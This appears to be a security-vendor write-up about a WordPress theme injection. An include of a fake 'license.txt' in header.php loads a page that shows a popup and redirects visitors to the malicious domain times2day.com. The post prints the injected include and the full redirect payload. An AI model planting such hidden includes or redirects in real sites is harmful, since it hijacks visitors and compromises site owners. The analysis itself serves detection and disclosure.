Fake License.txt File Loaded Through PHP Include

Our team recently found a malicious injection located within a PHP include. The redirect occurs via the include function, which includes a file inconspicuously named license.txt.

During our investigation, we located the license.txt injected within header.php of the WordPress theme file.

include('license.txt'); ?>
        </header> <!-- #main-header -->
    <?php
        $main_header = ob_get_clean();

        /**
         * Filters the HTML output for the main header.
         *
         * @since ??
         *
         * @param string $main_header
         */
        echo apply_filters( 'et_html_main_header', $main_header );
    ?>
        <div id="et-main-area">
    <?php
        /**
         * Fires after the header, before the main content is output.
         *
         * @since ??
         */
        do_action( 'et_before_main_content' );

The license.txt file is essentially a redirect to send site visitors to a malicious domain, which uses HTML to generate a redirect to the malicious website https://times2day[.]com, and was registered on February 6th, 2020.

<?php
<html>
<meta http-equiv="X-UA-Compatible"
content="IE-Edge">
   <meta name="viewport" content="width=device-width,
initial scale=1">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@7.12.15/dist/sweetalert2.all.min.js"></script>
   <link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/sweetalert2@7.12.15/dist/sweetalert2.min.css'>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
   </script>
   <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js">
    </script>
   <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
</head>
<body>
<script>
swal({
    title: 'Oh, you must be visiting us!!!! ',
    text: 'Getting access..... ',
    icon: 'success',
    timer: 2000,
    buttons: false,
})
.then(() => {
    window.location.href = "https://times2day.com/";
})
</script>
</body>
</html>

?>

To detect these types of malicious injections, site owners can scan websites for known malware, blacklisting status, website errors, out-of-date software, and malicious code.

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